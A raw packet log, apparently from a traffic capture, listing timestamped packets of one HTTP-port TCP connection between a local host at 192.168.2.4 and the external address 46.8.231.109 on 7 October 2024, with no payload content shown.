Oct 7, 2024 03:03:09.101052046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101062059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101062059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101084948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101135015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101141930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101178885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101190090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101196051 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101222992 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101237059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101244926 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101244926 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101252079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101265907 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101290941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101290941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101313114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101326942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101341963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101365089 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101365089 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101397991 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101411104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101413965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101447105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101447105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101469040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101495981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101510048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101526022 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101526022 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101541996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101548910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101557016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101593971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101593971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101627111 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101696014 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101696968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101710081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101723909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101756096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101756096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101800919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101814985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101828098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101836920 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101836920 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101843119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101864100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101887941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101887941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101898909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101912022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101952076 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101958990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101958990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.101965904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.101980925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.102004051 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.102004051 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.102040052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.102049112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.102061987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.102092028 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.102093935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.102103949 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.102108002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.102121115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.102144003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.102144003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.102202892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.102217913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.102231026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.102245092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.102248907 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.102248907 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.102267027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.102282047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.102309942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.102309942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.154298067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.154314041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.154340982 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.154354095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.154367924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.154395103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.154412031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.154424906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.154424906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.154479980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.154479980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.181226969 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.181242943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.181269884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.181302071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.181304932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.181335926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.181345940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.181355953 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.181396961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.181411028 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.181449890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.181504965 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.181536913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.181572914 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.181572914 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.181576014 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.181638002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.181642056 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.181668043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.181706905 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.181706905 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.181730032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.181771994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.181812048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.181848049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.181866884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.181910992 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.181916952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.181972980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182008028 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182032108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182063103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182065964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182097912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182097912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182125092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182130098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182161093 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182163000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182163000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182193041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182224989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182244062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182244062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182256937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182281971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182302952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182343960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182343960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182349920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182391882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182425976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182425976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182435989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182482958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182497025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182522058 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182531118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182563066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182595968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182602882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182602882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182624102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182626963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182655096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182688951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182688951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182691097 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182703972 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182730913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182735920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182766914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182777882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182777882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182799101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182826996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182840109 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182840109 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182857990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182874918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182890892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182921886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182931900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182931900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.182955027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.182986021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.183001995 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.183001995 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.183020115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.183021069 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.183213949 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.190828085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.190884113 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.190892935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.190953970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.190968990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.190996885 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191028118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191059113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191083908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191139936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191143036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191170931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191191912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191231966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191272020 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191272020 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191289902 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191322088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191375017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191375017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191412926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191476107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191515923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191515923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191538095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191601992 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191641092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191641092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191673040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191708088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191736937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191749096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191749096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191797018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191812992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191839933 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191855907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191904068 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191920042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191962004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.191971064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.191993952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192004919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192025900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192059994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192059994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192082882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192115068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192123890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192159891 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192176104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192223072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192229033 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192270041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192301989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192310095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192310095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192329884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192352057 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192373991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192375898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192408085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192452908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192477942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192477942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192502975 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192533970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192543030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192543030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192564964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192605972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192605972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192615032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192646027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192666054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192692995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192724943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192725897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192758083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192769051 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192771912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192804098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192812920 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192833900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192852974 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192867994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192898989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192914009 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192914009 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192930937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192961931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.192965984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192965984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.192994118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193000078 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193023920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193034887 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193056107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193067074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193087101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193103075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193120003 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193129063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193151951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193176985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193182945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193206072 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193213940 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193245888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193250895 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193252087 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193275928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193304062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193308115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193332911 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193339109 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193361044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193372011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193398952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193402052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193434000 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193443060 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193443060 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193464994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193496943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193500042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193517923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193527937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193559885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193569899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193569899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193594933 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193625927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.193629026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193629026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.193689108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.245156050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.245214939 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.245237112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.245273113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.245286942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.245305061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.245320082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.245338917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.245358944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.245372057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.245404005 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.245405912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.245418072 CEST	49731	80	192.168.2.4	46.8.231.109
